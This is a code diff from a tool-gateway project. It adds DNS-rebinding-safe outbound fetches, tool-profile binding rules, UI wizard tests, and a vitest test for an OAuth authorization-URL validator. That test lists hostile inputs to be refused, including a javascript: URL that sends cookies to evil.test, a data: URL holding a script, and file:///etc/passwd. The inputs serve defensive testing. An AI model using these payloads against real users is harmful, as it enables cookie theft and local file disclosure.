createConnection: () => socket,
|
||||
host: hostname,
|
||||
port,
|
||||
path: `${endpoint.pathname}${endpoint.search}`,
|
||||
headers: Object.fromEntries(headers.entries()),
|
||||
setHost: false,
|
||||
...(signal ? { signal } : {}),
|
||||
}, resolve);
|
||||
req.on("error", reject);
|
||||
// Headers deadline. `req.setTimeout` is socket-idle based, which a server
|
||||
// that dribbles bytes could reset forever, so hold a hard timer instead.
|
||||
const headersTimer = setTimeout(() => {
|
||||
// Destroying the request tears the socket down too, so a silent peer costs
|
||||
// neither a pending handler nor a leaked descriptor.
|
||||
req.destroy(error("Remote MCP endpoint did not respond in time", "remote_http_response_timeout"));
|
||||
}, responseTimeoutMs);
|
||||
headersTimer.unref?.();
|
||||
req.on("response", () => clearTimeout(headersTimer));
|
||||
req.on("error", () => clearTimeout(headersTimer));
|
||||
if (body !== undefined) req.write(body);
|
||||
req.end();
|
||||
});
|
||||
|
||||
// Body idle deadline, mirroring undici's `bodyTimeout`: a stalled stream is
|
||||
// destroyed so `response.text()` rejects instead of hanging the caller.
|
||||
message.setTimeout(responseTimeoutMs, () => {
|
||||
message.destroy(error("Remote MCP endpoint stalled mid-response", "remote_http_response_timeout"));
|
||||
});
|
||||
// A finished response must not leave an armed socket timer behind, or a later
|
||||
// reader of the same socket inherits a deadline it never asked for.
|
||||
const disarm = () => message.setTimeout(0);
|
||||
message.once("end", disarm);
|
||||
message.once("close", disarm);
|
||||
|
||||
const responseHeaders = new Headers();
|
||||
for (const [key, value] of Object.entries(message.headers)) {
|
||||
if (Array.isArray(value)) {
|
||||
for (const entry of value) responseHeaders.append(key, entry);
|
||||
} else if (value !== undefined) {
|
||||
responseHeaders.append(key, value);
|
||||
}
|
||||
}
|
||||
|
||||
const status = message.statusCode ?? 502;
|
||||
const nullBody = NULL_BODY_STATUSES.has(status) || method === "HEAD";
|
||||
if (nullBody) message.resume();
|
||||
|
||||
return new Response(
|
||||
nullBody ? null : (Readable.toWeb(decodedBody(message, responseHeaders)) as unknown as ReadableStream<Uint8Array>),
|
||||
{ status, statusText: message.statusMessage ?? "", headers: responseHeaders },
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Match `fetch`'s content decoding. `node:http` hands back the raw bytes, so a
|
||||
* server that compresses without being asked would otherwise turn into a JSON
|
||||
* parse failure that looks like a broken MCP server.
|
||||
*/
|
||||
function decodedBody(message: IncomingMessage, headers: Headers): Readable {
|
||||
const encoding = (message.headers["content-encoding"] ?? "").trim().toLowerCase();
|
||||
const decoder = encoding === "gzip" || encoding === "x-gzip"
|
||||
? createGunzip()
|
||||
: encoding === "deflate"
|
||||
? createInflate()
|
||||
: encoding === "br"
|
||||
? createBrotliDecompress()
|
||||
: null;
|
||||
if (!decoder) return message;
|
||||
headers.delete("content-encoding");
|
||||
headers.delete("content-length");
|
||||
message.on("error", (error) => decoder.destroy(error));
|
||||
return message.pipe(decoder);
|
||||
}
|
||||
|
||||
function readRequestBody(body: RequestInit["body"]): Buffer | undefined {
|
||||
if (body === undefined || body === null) return undefined;
|
||||
if (typeof body === "string") return Buffer.from(body, "utf8");
|
||||
if (body instanceof URLSearchParams) return Buffer.from(body.toString(), "utf8");
|
||||
if (Buffer.isBuffer(body)) return body;
|
||||
if (body instanceof ArrayBuffer) return Buffer.from(body);
|
||||
if (ArrayBuffer.isView(body)) return Buffer.from(body.buffer, body.byteOffset, body.byteLength);
|
||||
throw new TypeError("Guarded remote HTTP requests only support string, URLSearchParams and buffer bodies");
|
||||
}
|
||||
|
||||
function once(
|
||||
emitter: Socket,
|
||||
event: string,
|
||||
input: { signal: AbortSignal | null; timeoutMs: number; what: string },
|
||||
): Promise<void> {
|
||||
return new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => {
|
||||
settle(new Error(`Timed out trying to ${input.what} the remote MCP endpoint`));
|
||||
}, input.timeoutMs);
|
||||
timer.unref?.();
|
||||
|
||||
const onAbort = () => settle(input.signal?.reason ?? new Error("Remote MCP request was aborted"));
|
||||
|
||||
function settle(error?: Error) {
|
||||
clearTimeout(timer);
|
||||
emitter.off(event, onSuccess);
|
||||
emitter.off("error", onError);
|
||||
input.signal?.removeEventListener?.("abort", onAbort);
|
||||
if (error) reject(error);
|
||||
else resolve();
|
||||
}
|
||||
function onSuccess() {
|
||||
settle();
|
||||
}
|
||||
function onError(error: Error) {
|
||||
settle(error);
|
||||
}
|
||||
|
||||
emitter.once(event, onSuccess);
|
||||
emitter.once("error", onError);
|
||||
input.signal?.addEventListener?.("abort", onAbort, { once: true });
|
||||
});
|
||||
}
|
||||
|
|
@ -42,7 +42,10 @@ import type {
|
|||
} from "@paperclipai/shared";
|
||||
import { toolPolicyConditionsSchema } from "@paperclipai/shared";
|
||||
import { badRequest, conflict, notFound, unprocessable } from "../errors.js";
|
||||
import { narrowestScopeBindings, profileIdsInBindingOrder } from "./tool-profile-binding-precedence.js";
|
||||
import {
|
||||
effectiveToolProfileBindings,
|
||||
profileIdsInBindingOrder,
|
||||
} from "./tool-profile-binding-precedence.js";
|
||||
import { recordToolRuntimeAuditWriteFailure } from "./tool-runtime-metrics.js";
|
||||
|
||||
type ToolAccessContext = {
|
||||
|
|
@ -1002,11 +1005,16 @@ export function toolAccessPolicyService(db: Db) {
|
|||
|
||||
async function effectiveProfiles(ctx: ToolAccessContext) {
|
||||
const bindings = await db.select().from(toolProfileBindings).where(eq(toolProfileBindings.companyId, ctx.companyId));
|
||||
const activeBindings = narrowestScopeBindings(bindings.filter((binding) => targetMatches(binding, ctx)));
|
||||
if (activeBindings.length === 0) return { profiles: [], entries: [] as Array<typeof toolProfileEntries.$inferSelect> };
|
||||
const matchingBindings = bindings.filter((binding) => targetMatches(binding, ctx));
|
||||
if (matchingBindings.length === 0) return { profiles: [], entries: [] as Array<typeof toolProfileEntries.$inferSelect> };
|
||||
const candidateProfileIds = profileIdsInBindingOrder(matchingBindings);
|
||||
const candidateProfiles = await db.select().from(toolProfiles).where(and(
|
||||
eq(toolProfiles.companyId, ctx.companyId),
|
||||
inArray(toolProfiles.id, candidateProfileIds),
|
||||
));
|
||||
const activeBindings = effectiveToolProfileBindings(matchingBindings, candidateProfiles, ctx.connectionId);
|
||||
const profileIds = profileIdsInBindingOrder(activeBindings);
|
||||
const profiles = await db.select().from(toolProfiles).where(and(eq(toolProfiles.companyId, ctx.companyId), inArray(toolProfiles.id, profileIds)));
|
||||
const profilesById = new Map(profiles.map((profile) => [profile.id, profile]));
|
||||
const profilesById = new Map(candidateProfiles.map((profile) => [profile.id, profile]));
|
||||
const activeProfiles = profileIds
|
||||
.map((profileId) => profilesById.get(profileId) ?? null)
|
||||
.filter((profile): profile is typeof toolProfiles.$inferSelect => Boolean(profile && profile.status === "active"));
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load Diff
|
|
@ -54,7 +54,9 @@ import type { AgentToolDescriptor, PluginToolDispatcher } from "./plugin-tool-di
|
|||
import { logActivity, type LogActivityInput } from "./activity-log.js";
|
||||
import { secretService } from "./secrets.js";
|
||||
import { mcpHttpRequestHeaders, parseMcpHttpResponseBody } from "./mcp-http.js";
|
||||
import { assertPublicRemoteHttpEndpoint, parseRemoteHttpEndpoint } from "./remote-http-endpoint-guard.js";
|
||||
import { projectedConnectionHeaders } from "./tool-access.js";
|
||||
import { parseRemoteHttpEndpoint } from "./remote-http-endpoint-guard.js";
|
||||
import { guardedRemoteHttpFetch, type GuardedRemoteHttpFetchOptions } from "./remote-http-fetch.js";
|
||||
import { toolAccessPolicyService } from "./tool-access-policy.js";
|
||||
import { issueThreadInteractionService } from "./issue-thread-interactions.js";
|
||||
import {
|
||||
|
|
@ -2139,14 +2141,19 @@ export function createToolGatewayService(
|
|||
return options.deploymentMode !== "authenticated" || options.deploymentExposure !== "public";
|
||||
}
|
||||
|
||||
async function assertRemoteEndpointAllowed(config: Record<string, unknown>): Promise<string> {
|
||||
const endpoint = new URL(remoteEndpoint(config));
|
||||
await assertPublicRemoteHttpEndpoint(
|
||||
endpoint,
|
||||
{ allowPrivateNetwork: allowPrivateRemoteEndpoints() },
|
||||
(message, code) => new ToolGatewayHttpError(422, message, code),
|
||||
);
|
||||
return endpoint.toString();
|
||||
/**
|
||||
* Guard options for every outbound call to an operator-supplied MCP endpoint.
|
||||
*
|
||||
* The private-network check no longer runs as a standalone pre-flight: it is
|
||||
* part of `guardedRemoteHttpFetch`, which keeps the approved address and dials
|
||||
* it directly. Splitting validation from dispatch is what created the
|
||||
* DNS-rebinding TOCTOU in PAP-17098.
|
||||
*/
|
||||
function remoteHttpFetchOptions(): GuardedRemoteHttpFetchOptions {
|
||||
return {
|
||||
allowPrivateNetwork: allowPrivateRemoteEndpoints(),
|
||||
error: (message, code) => new ToolGatewayHttpError(422, message, code),
|
||||
};
|
||||
}
|
||||
|
||||
function headerName(value: unknown): string | null {
|
||||
|
|
@ -3049,8 +3056,14 @@ export function createToolGatewayService(
|
|||
callerHeaders?: ExecuteGatewayToolInput["callerHeaders"],
|
||||
): Promise<RemoteHttpExecutionResult> {
|
||||
const { entry, connection } = await resolveConnectedRemoteTool(session, tool);
|
||||
const endpoint = await assertRemoteEndpointAllowed(connection.config ?? {});
|
||||
const credentialHeaders = await resolveCredentialHeaders(connection);
|
||||
const endpoint = remoteEndpoint(connection.config ?? {});
|
||||
// Method-defined headers are trusted catalog configuration. Treat them as
|
||||
// managed headers so callers cannot override the scope that was reviewed
|
||||
// during tools/list. Credentials remain authoritative on collisions.
|
||||
const credentialHeaders = {
|
||||
...projectedConnectionHeaders(connection),
|
||||
...await resolveCredentialHeaders(connection),
|
||||
};
|
||||
const { headers, summary: headerSummary } = buildRemoteHeaders({
|
||||
session,
|
||||
connection,
|
||||
|
|
@ -3074,7 +3087,11 @@ export function createToolGatewayService(
|
|||
const timer = setTimeout(() => controller.abort(), ms);
|
||||
timer.unref?.();
|
||||
try {
|
||||
const response = await fetch(endpoint, {
|
||||
// The guard runs inside this call and the connection is pinned to the
|
||||
// address it approved, so an operator-supplied hostname cannot be rebound
|
||||
// onto a loopback or metadata address between validation and dispatch
|
||||
// (PAP-17098).
|
||||
const response = await guardedRemoteHttpFetch(endpoint, {
|
||||
method: "POST",
|
||||
redirect: "manual",
|
||||
// MCP Streamable HTTP requires the Accept header advertising both a JSON
|
||||
|
|
@ -3090,6 +3107,12 @@ export function createToolGatewayService(
|
|||
arguments: parameters ?? {},
|
||||
},
|
||||
}),
|
||||
}, {
|
||||
...remoteHttpFetchOptions(),
|
||||
// This call site owns a caller-set budget that can exceed the
|
||||
// transport's default response deadline, so hand it down rather than
|
||||
// letting the tighter default cut a legitimately slow tool short.
|
||||
responseTimeoutMs: ms,
|
||||
});
|
||||
const body = await readBoundedRemoteResponse(response);
|
||||
execution.response = {
|
||||
|
|
|
|||
|
|
@ -0,0 +1,93 @@
|
|||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
effectiveToolProfileBindings,
|
||||
narrowestScopeBindings,
|
||||
} from "./tool-profile-binding-precedence.js";
|
||||
|
||||
const createdAt = new Date("2026-08-11T00:00:00.000Z");
|
||||
|
||||
describe("tool profile binding precedence", () => {
|
||||
it("keeps ordinary profiles at the narrowest matching scope", () => {
|
||||
const companyBinding = {
|
||||
profileId: "company-profile",
|
||||
targetType: "company" as const,
|
||||
targetId: "company-1",
|
||||
priority: 100,
|
||||
createdAt,
|
||||
};
|
||||
const agentBinding = {
|
||||
profileId: "agent-profile",
|
||||
targetType: "agent" as const,
|
||||
targetId: "agent-1",
|
||||
priority: 100,
|
||||
createdAt,
|
||||
};
|
||||
|
||||
expect(narrowestScopeBindings([companyBinding, agentBinding])).toEqual([agentBinding]);
|
||||
expect(effectiveToolProfileBindings(
|
||||
[companyBinding, agentBinding],
|
||||
[
|
||||
{ id: "company-profile", profileKey: "company-default", metadata: {} },
|
||||
{ id: "agent-profile", profileKey: "agent-default", metadata: {} },
|
||||
],
|
||||
"connection-1",
|
||||
)).toEqual([agentBinding]);
|
||||
});
|
||||
|
||||
it("carries the wizard-managed app assignment alongside a narrower profile", () => {
|
||||
const appBinding = {
|
||||
profileId: "app-profile",
|
||||
targetType: "company" as const,
|
||||
targetId: "company-1",
|
||||
priority: 100,
|
||||
createdAt,
|
||||
};
|
||||
const agentBinding = {
|
||||
profileId: "agent-profile",
|
||||
targetType: "agent" as const,
|
||||
targetId: "agent-1",
|
||||
priority: 100,
|
||||
createdAt,
|
||||
};
|
||||
|
||||
expect(effectiveToolProfileBindings(
|
||||
[appBinding, agentBinding],
|
||||
[
|
||||
{
|
||||
id: "app-profile",
|
||||
profileKey: "app:connection-1",
|
||||
metadata: { source: "app_gallery_finish", connectionId: "connection-1" },
|
||||
},
|
||||
{ id: "agent-profile", profileKey: "agent-default", metadata: {} },
|
||||
],
|
||||
"connection-1",
|
||||
)).toEqual([agentBinding, appBinding]);
|
||||
});
|
||||
|
||||
it("does not overlay a wizard profile onto another connection", () => {
|
||||
const appBinding = {
|
||||
profileId: "app-profile",
|
||||
targetType: "company" as const,
|
||||
targetId: "company-1",
|
||||
priority: 100,
|
||||
createdAt,
|
||||
};
|
||||
const agentBinding = {
|
||||
profileId: "agent-profile",
|
||||
targetType: "agent" as const,
|
||||
targetId: "agent-1",
|
||||
priority: 100,
|
||||
createdAt,
|
||||
};
|
||||
|
||||
expect(effectiveToolProfileBindings(
|
||||
[appBinding, agentBinding],
|
||||
[{
|
||||
id: "app-profile",
|
||||
profileKey: "app:connection-1",
|
||||
metadata: { source: "app_gallery_finish", connectionId: "connection-1" },
|
||||
}],
|
||||
"connection-2",
|
||||
)).toEqual([agentBinding]);
|
||||
});
|
||||
});
|
||||
|
|
@ -3,10 +3,17 @@ import type { ToolProfileBindingTargetType } from "@paperclipai/shared";
|
|||
type BindingLike = {
|
||||
profileId: string;
|
||||
targetType: ToolProfileBindingTargetType;
|
||||
targetId: string;
|
||||
priority: number;
|
||||
createdAt: Date | string;
|
||||
};
|
||||
|
||||
type ProfileLike = {
|
||||
id: string;
|
||||
profileKey: string;
|
||||
metadata: unknown;
|
||||
};
|
||||
|
||||
const TOOL_PROFILE_SCOPE_PRECEDENCE: Record<ToolProfileBindingTargetType, number> = {
|
||||
// Named gateways bind one concrete MCP endpoint instance, so they should
|
||||
// override broader run, agent, and company defaults when both match.
|
||||
|
|
@ -48,3 +55,39 @@ export function profileIdsInBindingOrder<T extends Pick<BindingLike, "profileId"
|
|||
}
|
||||
return ordered;
|
||||
}
|
||||
|
||||
function isWizardAppProfile(profile: ProfileLike, connectionId?: string | null): boolean {
|
||||
if (!profile.metadata || typeof profile.metadata !== "object" || Array.isArray(profile.metadata)) return false;
|
||||
const metadata = profile.metadata as Record<string, unknown>;
|
||||
if (metadata.source !== "app_gallery_finish" || typeof metadata.connectionId !== "string") return false;
|
||||
if (profile.profileKey !== `app:${metadata.connectionId}`) return false;
|
||||
return connectionId === undefined || connectionId === null || metadata.connectionId === connectionId;
|
||||
}
|
||||
|
||||
/**
|
||||
* App-wizard assignments are additive capabilities: choosing an app for all
|
||||
* agents (or for one agent) must not disappear merely because that agent also
|
||||
* has a narrower general-purpose profile. Ordinary profiles still use the
|
||||
* narrowest-scope rule; only the profile managed by the app wizard is carried
|
||||
* alongside that winning tier.
|
||||
*/
|
||||
export function effectiveToolProfileBindings<T extends BindingLike>(
|
||||
bindings: T[],
|
||||
profiles: ProfileLike[],
|
||||
connectionId?: string | null,
|
||||
): T[] {
|
||||
const appProfileIds = new Set(
|
||||
profiles.filter((profile) => isWizardAppProfile(profile, connectionId)).map((profile) => profile.id),
|
||||
);
|
||||
const selected = [
|
||||
...narrowestScopeBindings(bindings),
|
||||
...bindings.filter((binding) => appProfileIds.has(binding.profileId)),
|
||||
];
|
||||
const seen = new Set<string>();
|
||||
return selected.filter((binding) => {
|
||||
const key = `${binding.targetType}:${binding.targetId}:${binding.profileId}`;
|
||||
if (seen.has(key)) return false;
|
||||
seen.add(key);
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
|
|
|||
|
|
@ -118,12 +118,16 @@ test.describe.serial("not-connected app page", () => {
|
|||
await page.goto(`/${seed.prefix}/apps/app/${applicationId}`);
|
||||
await page.getByRole("button", { name: "Reconnect", exact: true }).click();
|
||||
await expect(page).toHaveURL(/\/apps\/connect\?/, { timeout: 20_000 });
|
||||
await expect(page.getByText("Connect with a link")).toBeVisible({ timeout: 20_000 });
|
||||
await expect(page.getByText("Connect your own MCP server")).toBeVisible({ timeout: 20_000 });
|
||||
await expect(page.getByText(mock.url)).toBeVisible();
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/apps-nav-w6-02-reconnect-prefilled.png`, fullPage: true });
|
||||
|
||||
await page.getByRole("button", { name: "Check link" }).click();
|
||||
await expect(page.getByText(/Connected to .* it offers/)).toBeVisible({ timeout: 30_000 });
|
||||
await expect(page.getByRole("heading", { name: "Who can use Bla?" })).toBeVisible({ timeout: 30_000 });
|
||||
await page.getByRole("button", { name: "Continue to install" }).click();
|
||||
await expect(page.getByRole("heading", { name: /Install .* tools\?/i })).toBeVisible({ timeout: 20_000 });
|
||||
await page.getByRole("button", { name: "Finish setup" }).click();
|
||||
await expect(page.getByRole("heading", { name: "Bla is ready." })).toBeVisible({ timeout: 20_000 });
|
||||
|
||||
const apps = await request.get(`/api/companies/${seed.companyId}/tools/applications`);
|
||||
const appsBody = await apps.json();
|
||||
|
|
@ -143,17 +147,37 @@ test.describe.serial("not-connected app page", () => {
|
|||
expect(appConns[0].status).not.toBe("archived");
|
||||
});
|
||||
|
||||
test("draft app connection stays on provider setup until setup finishes", async ({ page }) => {
|
||||
await page.goto(`/${seed.prefix}/apps/app/${applicationId}`);
|
||||
await expect(page).toHaveURL(new RegExp(`/${seed.prefix}/apps/app/${applicationId}/setup$`), { timeout: 20_000 });
|
||||
await expect(page.getByText("Not connected", { exact: true })).toBeVisible();
|
||||
await expect(page.getByRole("heading", { name: "Connect this app" })).toBeVisible();
|
||||
test("draft app connection stays on provider setup until setup finishes", async ({ page, request }) => {
|
||||
const draftMock = await startMockMcp();
|
||||
try {
|
||||
const draft = await request.post(`/api/companies/${seed.companyId}/tools/apps/connect`, {
|
||||
data: {
|
||||
link: draftMock.url,
|
||||
name: "Draft app",
|
||||
credentialValues: { "credentials.authorization": "qa-token" },
|
||||
},
|
||||
});
|
||||
expect(draft.ok(), `draft connect failed ${draft.status()}: ${await draft.text()}`).toBe(true);
|
||||
const draftBody = await draft.json();
|
||||
const draftApplicationId = draftBody.application.id as string;
|
||||
const archive = await request.delete(`/api/tool-connections/${draftBody.connectionId}`);
|
||||
expect(archive.ok(), `draft archive failed ${archive.status()}: ${await archive.text()}`).toBe(true);
|
||||
const revive = await request.patch(`/api/tool-applications/${draftApplicationId}`, { data: { status: "active" } });
|
||||
expect(revive.ok(), `draft revive failed ${revive.status()}: ${await revive.text()}`).toBe(true);
|
||||
|
||||
await page.goto(`/${seed.prefix}/apps/connections`);
|
||||
const row = page.locator("tbody tr", { hasText: "Bla" });
|
||||
await expect(row).toBeVisible({ timeout: 30_000 });
|
||||
await expect(row.getByRole("button", { name: "Connect" })).toBeVisible();
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/apps-nav-w6-03-reconnected-row.png`, fullPage: true });
|
||||
await page.goto(`/${seed.prefix}/apps/app/${draftApplicationId}`);
|
||||
await expect(page).toHaveURL(new RegExp(`/${seed.prefix}/apps/app/${draftApplicationId}/setup$`), { timeout: 20_000 });
|
||||
await expect(page.getByText("Not connected", { exact: true })).toBeVisible();
|
||||
await expect(page.getByRole("heading", { name: "Connect this app" })).toBeVisible();
|
||||
|
||||
await page.goto(`/${seed.prefix}/apps/connections`);
|
||||
const row = page.locator("tbody tr", { hasText: "Draft app" });
|
||||
await expect(row).toBeVisible({ timeout: 30_000 });
|
||||
await expect(row.getByRole("button", { name: "Connect" })).toBeVisible();
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/apps-nav-w6-03-reconnected-row.png`, fullPage: true });
|
||||
} finally {
|
||||
await draftMock.close();
|
||||
}
|
||||
});
|
||||
|
||||
test("danger zone on the app page removes the app", async ({ page, request }) => {
|
||||
|
|
|
|||
|
|
@ -145,7 +145,7 @@ test.describe.serial("prosumer MCP flow prosumer MCP flow", () => {
|
|||
await mock?.close();
|
||||
});
|
||||
|
||||
test("Connect wizard happy path: link mode → actions → who → success", async ({ page, request }) => {
|
||||
test("Connect wizard happy path: link mode → access → install → success", async ({ page, request }) => {
|
||||
const seed = await newCompany(request, "connect");
|
||||
|
||||
await gotoConnect(page, seed.prefix);
|
||||
|
|
@ -159,48 +159,21 @@ test.describe.serial("prosumer MCP flow prosumer MCP flow", () => {
|
|||
await linkInput.fill(mock.url);
|
||||
await page.getByRole("button", { name: "Continue" }).click();
|
||||
|
||||
// LinkKey step shows the "Connect with a link" heading. Mock doesn't
|
||||
// LinkKey step shows the guided MCP connection heading. Mock doesn't
|
||||
// require a key — leave the default "No" answer.
|
||||
await expect(page.getByRole("heading", { name: "Connect with a link" })).toBeVisible({ timeout: 15_000 });
|
||||
await expect(page.getByRole("heading", { name: "Connect your own MCP server" })).toBeVisible({ timeout: 15_000 });
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-02-key-step.png`, fullPage: true });
|
||||
|
||||
// Submit (button label is "Check link").
|
||||
await page.getByRole("button", { name: /Check link/i }).click();
|
||||
|
||||
// Actions step — read-only enabled, write disabled by default.
|
||||
await expect(page.getByText(/Read only/i)).toBeVisible({ timeout: 30_000 });
|
||||
await expect(page.getByText(/Can make changes/i)).toBeVisible();
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-03-actions-step.png`, fullPage: true });
|
||||
|
||||
// Verify our seeded tool labels appear (display name is the descriptor title).
|
||||
await expect(page.getByText("List widgets")).toBeVisible();
|
||||
await expect(page.getByText("Create widget")).toBeVisible();
|
||||
|
||||
// namespaced tool names: the namespaced write action ("qa10864:create_widget") must be
|
||||
// classified write and land under "Can make changes" — NOT pre-enabled under
|
||||
// "Read only". Scope the assertions to each action group.
|
||||
const readOnlyGroup = page.locator("div.rounded-xl").filter({ hasText: "Read only" });
|
||||
const canChangeGroup = page.locator("div.rounded-xl").filter({ hasText: "Can make changes" });
|
||||
await expect(canChangeGroup.getByText("Create widget")).toBeVisible();
|
||||
await expect(readOnlyGroup.getByText("Create widget")).toHaveCount(0);
|
||||
await expect(readOnlyGroup.getByText("List widgets")).toBeVisible();
|
||||
|
||||
// Toggle the write action on so an Ask-first badge appears + the Continue button enables it.
|
||||
const createToggle = page.getByRole("switch").last();
|
||||
await createToggle.click();
|
||||
await expect(page.getByText(/Ask first/i)).toBeVisible({ timeout: 5_000 });
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-03b-ask-first-on.png`, fullPage: true });
|
||||
|
||||
// Continue to who-can-use.
|
||||
await page.getByRole("button", { name: /Continue with .* on/ }).click();
|
||||
|
||||
// Who-can-use step — defaults to All agents.
|
||||
await expect(page.getByRole("heading", { name: /Who can use/i })).toBeVisible({ timeout: 15_000 });
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-04-who-step.png`, fullPage: true });
|
||||
await expect(page.getByRole("heading", { name: /Who can use/i })).toBeVisible({ timeout: 30_000 });
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-03-who-step.png`, fullPage: true });
|
||||
|
||||
await page.getByRole("button", { name: /Continue to install/i }).click();
|
||||
await expect(page.getByRole("heading", { name: /Install .* tools\?/i })).toBeVisible({ timeout: 15_000 });
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-04b-install-step.png`, fullPage: true });
|
||||
await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-04-install-step.png`, fullPage: true });
|
||||
|
||||
// Finish.
|
||||
await page.getByRole("button", { name: /Finish setup/i }).click();
|
||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@ import type {
|
|||
ToolConnection,
|
||||
ToolConnectionInstall,
|
||||
ToolConnectionInstallSnapshot,
|
||||
ToolConnectionRemovalSummary,
|
||||
ConnectToolAppResult,
|
||||
FinishToolAppResult,
|
||||
ToolCatalogEntry,
|
||||
|
|
@ -290,8 +291,12 @@ export const toolsApi = {
|
|||
api.post<ToolConnection>(`/companies/${companyId}/tools/connections`, input),
|
||||
updateConnection: (connectionId: string, input: UpdateToolConnectionInput) =>
|
||||
api.patch<ToolConnection>(`/tool-connections/${connectionId}`, input),
|
||||
// Removal is a credential-revoking teardown (PAP-17119), so the response
|
||||
// carries the cleanup receipt alongside the archived connection.
|
||||
archiveConnection: (connectionId: string) =>
|
||||
api.delete<ToolConnection>(`/tool-connections/${connectionId}`),
|
||||
api.delete<ToolConnection & { removal: ToolConnectionRemovalSummary }>(
|
||||
`/tool-connections/${connectionId}`,
|
||||
),
|
||||
checkConnectionHealth: (connectionId: string) =>
|
||||
api.post<ToolConnectionHealthCheckResult>(`/tool-connections/${connectionId}/health-check`, {}),
|
||||
reconnectConnection: (connectionId: string, credentialValues: Record<string, string>) =>
|
||||
|
|
|
|||
|
|
@ -2440,6 +2440,7 @@ span.paperclip-mention-chip[data-mention-kind="external-object"] {
|
|||
* allow ui/src/pages/CompanySkills.tsx — DISCOVERY_ACCENTS palette array feeds skill.color, persisted/compared JS data (SkillCreateDraft), not just a rendered value; also fontSize: Math.round(size * 0.42), computed at runtime from a prop, not a static literal
|
||||
* allow ui/src/components/IssueColumns.tsx — accentColor fallback also feeds pickTextColorForPillBg() contrast math (lib/color-contrast.ts), which needs a real hex string to compute luminance
|
||||
* allow ui/src/components/CompanyPatternIcon.tsx — canvas 2D fillStyle built from a runtime-computed template literal, not a static literal at all
|
||||
* allow ui/src/components/onboarding/PillGuy.tsx — inline rendering of the approved pill-1 dormant/alive brand SVG assets; their fixed eye, body, tuft, and gradient fills are the illustration artwork rather than themeable interface colors
|
||||
* allow ui/src/components/ui/scroll-area.tsx — rounded-[inherit] is a CSS keyword, not a literal value; nothing to extract
|
||||
* allow ui/src/components/ui/dialog.tsx — tw-animate-css plugin utilities (zoom-in-[0.97], zoom-out-[0.97], slide-in-from-top-[1%], slide-out-to-top-[1%], animate-in, animate-out, fade-in-0, fade-out-0) are dead/no-op classes today (the tw-animate-css plugin is not installed and no matching @utility exists in this file; confirmed via grep of the built storybook-static CSS — none of these class names emit any rule); nothing to tokenize without visually changing a currently-inert class
|
||||
* allow ui/src/components/ui/alert-dialog.tsx — same tw-animate-css dead-class situation as dialog.tsx (zoom-out-[0.97], zoom-in-[0.97])
|
||||
|
|
|
|||
|
|
@ -66,6 +66,10 @@ const APP_COPY: Record<string, AppCopy> = {
|
|||
tagline: "Read and update pages in your workspace.",
|
||||
short: "Read and update pages in your workspace.",
|
||||
},
|
||||
posthog: {
|
||||
tagline: "Explore product usage, errors, flags, and experiments.",
|
||||
short: "Choose one project and the analytics tools your agents can use.",
|
||||
},
|
||||
linear: {
|
||||
tagline: "Create, update and read tickets.",
|
||||
short: "Create, update and read tickets.",
|
||||
|
|
|
|||
|
|
@ -0,0 +1,62 @@
|
|||
// @vitest-environment jsdom
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import { resolveAuthorizationTarget } from "./authorizationUrl";
|
||||
|
||||
/**
|
||||
* PAP-17099 — the board's own copy of the endpoint gate. The shared validator is
|
||||
* tested exhaustively in `@paperclipai/shared`; what matters here is that the
|
||||
* board applies it, and that its loopback exception follows how the board itself
|
||||
* is served rather than being unconditional.
|
||||
*/
|
||||
function serveBoardOver(protocol: "http:" | "https:") {
|
||||
Object.defineProperty(window, "location", {
|
||||
configurable: true,
|
||||
value: { ...window.location, protocol },
|
||||
});
|
||||
}
|
||||
|
||||
describe("resolveAuthorizationTarget", () => {
|
||||
afterEach(() => {
|
||||
// jsdom's default is a plaintext localhost board.
|
||||
serveBoardOver("http:");
|
||||
});
|
||||
|
||||
it("accepts an https authorization page and reports its host", () => {
|
||||
expect(resolveAuthorizationTarget("https://auth.example.test/authorize?state=abc")).toEqual({
|
||||
ok: true,
|
||||
url: "https://auth.example.test/authorize?state=abc",
|
||||
host: "auth.example.test",
|
||||
});
|
||||
});
|
||||
|
||||
it.each([
|
||||
"javascript:fetch('https://evil.test/'+document.cookie)",
|
||||
"data:text/html,<script>alert(document.domain)</script>",
|
||||
"file:///etc/passwd",
|
||||
"http://evil.test/authorize",
|
||||
"https://auth.example.test@evil.test/authorize",
|
||||
"https://auth.example.test/authorize#@evil.test",
|
||||
"not-a-url",
|
||||
"",
|
||||
null,
|
||||
undefined,
|
||||
])("refuses %s with a message that does not echo it", (value) => {
|
||||
const target = resolveAuthorizationTarget(value);
|
||||
expect(target.ok).toBe(false);
|
||||
if (target.ok) return;
|
||||
expect(target.message.length).toBeGreaterThan(0);
|
||||
if (value) expect(target.message).not.toContain(value);
|
||||
});
|
||||
|
||||
it("allows a loopback authorization server only on a plaintext-http board", () => {
|
||||
serveBoardOver("http:");
|
||||
expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize").ok).toBe(true);
|
||||
|
||||
serveBoardOver("https:");
|
||||
expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize")).toEqual({
|
||||
ok: false,
|
||||
message: expect.stringContaining("secure"),
|
||||
});
|
||||
expect(resolveAuthorizationTarget("https://auth.example.test/authorize").ok).toBe(true);
|
||||
});
|
||||
});
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
import { checkOAuthEndpointUrl, oauthEndpointUrlRejectionMessage } from "@paperclipai/shared";
|
||||
|
||||
export type AuthorizationTarget =
|
||||
| { ok: true; url: string; host: string }
|
||||
